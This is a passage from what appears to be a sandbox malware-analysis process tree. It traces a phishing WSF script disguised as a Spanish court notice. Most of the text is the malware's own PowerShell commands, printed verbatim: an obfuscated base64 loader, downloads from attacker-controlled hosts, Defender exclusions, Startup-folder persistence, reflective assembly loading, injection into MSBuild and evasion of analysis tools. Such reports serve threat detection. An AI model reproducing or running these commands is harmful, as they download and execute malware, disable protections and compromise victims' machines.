'[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3576
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1756
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\lgork.ps1"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:1176
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2504
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF"
        5⤵
        
        PID:716

C:\Windows\System32\CScript.exe
"C:\Windows\System32\CScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
PID:1228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      PID:4652
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\icmhn.ps1"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        
        PID:1776
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1460
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
        5⤵
        
        PID:2724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
